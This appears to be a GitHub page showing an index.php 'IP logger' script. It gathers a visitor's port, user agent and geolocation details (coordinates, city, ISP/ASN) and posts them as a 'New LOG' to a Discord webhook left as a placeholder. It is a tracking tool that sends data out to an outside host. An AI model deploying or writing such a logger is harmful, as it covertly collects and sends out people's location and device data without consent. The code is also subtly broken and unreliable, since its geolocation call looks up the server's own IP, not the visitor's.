-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.php
72 lines (61 loc) · 2.42 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
$port = $_SERVER['REMOTE_PORT'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$apiResponse = file_get_contents("https://ipapi.co/json");
$locationData = json_decode($apiResponse);
$ip = $locationData->ip ?? 'N/A';
$org = $locationData->org ?? 'N/A';
$asn = $locationData->asn ?? 'N/A';
$city = $locationData->city ?? 'N/A';
$country_area = $locationData->country_area ?? 'N/A';
$region = $locationData->region ?? 'N/A';
$country = $locationData->country_name ?? 'N/A';
$continent = $locationData->continent_code ?? 'N/A';
$latitude = $locationData->latitude ?? 'N/A';
$longitude = $locationData->longitude ?? 'N/A';
$capital = $locationData->country_capital ?? 'N/A';
$tld = $locationData->country_tld ?? 'N/A';
$timezone = $locationData->timezone ?? 'N/A';
$utc_offset = $locationData->utc_offset ?? 'N/A';
$country_calling_code = $locationData->country_calling_code ?? 'N/A';
$currency_name = $locationData->currency_name ?? 'N/A';
$languages = $locationData->languages ?? 'N/A';
$country_population = $locationData->country_population ?? 'N/A';
$message = "New LOG:\n";
$message .= "IP: " . $ip . "\n";
$message .= "Port: " . $port . "\n\n";
$message .= "ASN: " . $asn . "\n";
$message .= "ORG: " . $org . "\n\n";
$message .= "City: " . $city . "\n";
$message .= "Country area: " . $country_area . "\n";
$message .= "Region: " . $region . "\n";
$message .= "Country: " . $country . "\n";
$message .= "Continent: " . $continent . "\n\n";
$message .= "Latitude: " . $latitude . "\n";
$message .= "Longitude: " . $longitude . "\n\n";
$message .= "Capital : " . $capital . "\n";
$message .= "TLD : " . $tld . "\n";
$message .= "Time zone : " . $timezone . "\n";
$message .= "UTC Offset : " . $utc_offset . "\n";
$message .= "Currency : " . $currency_name . "\n";
$message .= "Languages : " . $languages . "\n";
$message .= "Country calling code : " . $country_calling_code . "\n";
$message .= "Country Population: " . $country_population . "\n\n";
$message .= "User Agent: " . $userAgent . "\n";
$webhookUrl = "YOUR WEBHOOK";
$data = array("content" => $message);
$options = array(
'http' => array(
'header' => "Content-type: application/json\r\n",
'method' => 'POST',
'content' => json_encode($data)
)
);
$context = stream_context_create($options);
$result = file_get_contents($webhookUrl, false, $context);
if ($result === false) {
echo "Error sending to Discord webhook.";
} else {
echo "Message sent successfully.";
}
?>